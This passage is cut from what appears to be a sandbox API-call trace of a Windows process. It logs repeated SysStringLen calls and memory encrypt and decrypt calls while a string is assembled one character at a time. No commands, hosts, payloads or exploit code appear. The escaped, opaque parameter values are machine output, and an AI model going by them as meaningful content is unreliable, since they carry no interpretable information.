(param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\xf6d7\x3ba2\xb719\x3fae\xf082\x678a\x7456\x34bd") returned 0x18 [0126.321] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="A91aDqF+iW5yeRpMS1큻踒倭㔒敕ᚸ") returned 0x18 [0126.322] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x7c40\xfcd2\xea2d\xd3d6\xe218\xbfa1\x2e46\x3cf3") returned 0x18 [0126.322] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x7c40\xfcd2\xea2d\xd3d6\xe218\xbfa1\x2e46\x3cf3") returned 0x18 [0126.322] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="A91aDqF+iW5yeRpMS1O踒倭㔒敕ᚸ") returned 0x18 [0126.322] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x98cc\xd4fb\x3769\x41d1\x794e\x8b5a\x173d\x1cc0") returned 0x18 [0126.322] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x98cc\xd4fb\x3769\x41d1\x794e\x8b5a\x173d\x1cc0") returned 0x18 [0126.322] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OY倭㔒敕ᚸ") returned 0x18 [0126.322] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\xa1ed\x3715\xe327\xa4a0\x47c3\x57be\x6f7e\x11bf") returned 0x18 [0126.322] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\xa1ed\x3715\xe327\xa4a0\x47c3\x57be\x6f7e\x11bf") returned 0x18 [0126.322] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYS㔒敕ᚸ") returned 0x18 [0126.322] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.322] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\xecd3\xf69a\xa625\x72d0\xfe22\x7d75\xf364\x822a") returned 0x18 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\xecd3\xf69a\xa625\x72d0\xfe22\x7d75\xf364\x822a") returned 0x18 [0126.323] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.323] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSM敕ᚸ") returned 0x18 [0126.323] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x2683\x53a9\x7985\xd136\x3bc5\xdf41\x56cc\x5a95") returned 0x18 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x2683\x53a9\x7985\xd136\x3bc5\xdf41\x56cc\x5a95") returned 0x18 [0126.323] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.323] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEᚸ") returned 0x18 [0126.323] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x238f\x55c1\xcdb5\x50b2\x768d\x5605\x3e4f\x181") returned 0x18 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x238f\x55c1\xcdb5\x50b2\x768d\x5605\x3e4f\x181") returned 0x18 [0126.323] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.323] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQ") returned 0x18 [0126.323] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd") returned 0x18 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd") returned 0x18 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd") returned 0x18 [0126.323] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd") returned 0x20 [0126.323] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.324] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQH⏴겼旖䌴熁ﹱ后") returned 0x20 [0126.324] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.324] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\xa3ec\x3a27\x83f7\x3534\xc6b8\x49a2\x6c8f\xc97a") returned 0x20 [0126.324] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\xa3ec\x3a27\x83f7\x3534\xc6b8\x49a2\x6c8f\xc97a") returned 0x20 [0126.324] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.324] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHF겼旖䌴熁ﹱ后") returned 0x20 [0126.324] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.324] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x93dc\x7221\x53f7\x6898\xf10b\x7349\xa577\x2512") returned 0x20 [0126.324] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x93dc\x7221\x53f7\x6898\xf10b\x7349\xa577\x2512") returned 0x20 [0126.324] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.324] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFi旖䌴熁ﹱ后") returned 0x20 [0126.324] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.324] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x6442\x5eb4\x35ab\x59bc\x9e8e\xf74d\xa5ab\xe877") returned 0x20 [0126.324] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x6442\x5eb4\x35ab\x59bc\x9e8e\xf74d\xa5ab\xe877") returned 0x20 [0126.324] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.324] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiM䌴熁ﹱ后") returned 0x20 [0126.326] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.326] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\xedec\xf8c3\x6132\x435e\x750e\x5a01\x95e7\x1561") returned 0x20 [0126.326] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\xedec\xf8c3\x6132\x435e\x750e\x5a01\x95e7\x1561") returned 0x20 [0126.326] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMk熁ﹱ后") returned 0x20 [0126.327] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x572e\x9849\x51c4\xff90\x444c\x25ec\x128c\x7038") returned 0x20 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x572e\x9849\x51c4\xff90\x444c\x25ec\x128c\x7038") returned 0x20 [0126.327] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfﹱ后") returned 0x20 [0126.327] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\xdada\xbf04\x3a44\xc668\x4d9c\x306d\x3e8d\x39e9") returned 0x20 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\xdada\xbf04\x3a44\xc668\x4d9c\x306d\x3e8d\x39e9") returned 0x20 [0126.327] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfr后") returned 0x20 [0126.327] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x6655\x31e8\x97db\x1daf\x4645\xeee0\xd27c\x7648") returned 0x20 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x6655\x31e8\x97db\x1daf\x4645\xeee0\xd27c\x7648") returned 0x20 [0126.327] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfra") returned 0x20 [0126.327] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34") returned 0x20 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34") returned 0x20 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34") returned 0x20 [0126.327] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x65\x72\x53\x68\x65\x6c\x6c\x5c") returned 0x28 [0126.327] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraF拙뚊閲뚡턽ᜅ") returned 0x28 [0126.328] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x7d52\xf3f8\xb589\x2705\xa1ad\xfd15\x6716\x29d") returned 0x28 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x7d52\xf3f8\xb589\x2705\xa1ad\xfd15\x6716\x29d") returned 0x28 [0126.328] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFA拙뚊閲뚡턽ᜅ") returned 0x28 [0126.328] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x23eb\xd82e\x188\x6d6c\x7ec8\x5b62\x5987\xc17d") returned 0x28 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x23eb\xd82e\x188\x6d6c\x7ec8\x5b62\x5987\xc17d") returned 0x28 [0126.328] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAw뚊閲뚡턽ᜅ") returned 0x28 [0126.328] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xb4af\xf1f4\x8350\x9b7f\x9731\xd53b\x8ce5\xc544") returned 0x28 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xb4af\xf1f4\x8350\x9b7f\x9731\xd53b\x8ce5\xc544") returned 0x28 [0126.328] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ閲뚡턽ᜅ") returned 0x28 [0126.328] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xfd10\x1ae0\x2bf9\x6e74\xa4e4\xdc78\x3b0e\x63b3") returned 0x28 [0126.328] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xfd10\x1ae0\x2bf9\x6e74\xa4e4\xdc78\x3b0e\x63b3") returned 0x28 [0126.328] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8뚡턽ᜅ") returned 0x28 [0126.329] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xc5f9\xc7df\xd0d7\x806a\xc438\x288f\xc06c\x3e4e") returned 0x28 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xc5f9\xc7df\xd0d7\x806a\xc438\x288f\xc06c\x3e4e") returned 0x28 [0126.329] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8U턽ᜅ") returned 0x28 [0126.329] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x9bd5\x7980\xa7d\xfcad\xdc42\x5a6a\x6d72\xe04d") returned 0x28 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x9bd5\x7980\xa7d\xfcad\xdc42\x5a6a\x6d72\xe04d") returned 0x28 [0126.329] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8UGᜅ") returned 0x28 [0126.329] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x6648\x32c2\x7c8a\x7841\xba38\x7c6b\xc5d3\x858b") returned 0x28 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\x6648\x32c2\x7c8a\x7841\xba38\x7c6b\xc5d3\x858b") returned 0x28 [0126.329] SystemFunction041 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8UGy") returned 0x28 [0126.329] SystemFunction040 (in: Memory=0x8e6fd6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fd6c) returned 0x0 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476") returned 0x28 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476") returned 0x28 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476") returned 0x28 [0126.329] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\x4b\x4e\x2d\x33\x51\x78\x59\x65") returned 0x30 [0126.329] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0126.329] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8UGyJ뤁㰑鞽쯨ꡡ挍䚑") returned 0x30 [0126.329] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0126.330] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\xf6cc\x927e\xbce8\x5204\x2a22\x3cd0\x4c12\xec01") returned 0x30 [0126.330] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\xf6cc\x927e\xbce8\x5204\x2a22\x3cd0\x4c12\xec01") returned 0x30 [0126.330] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 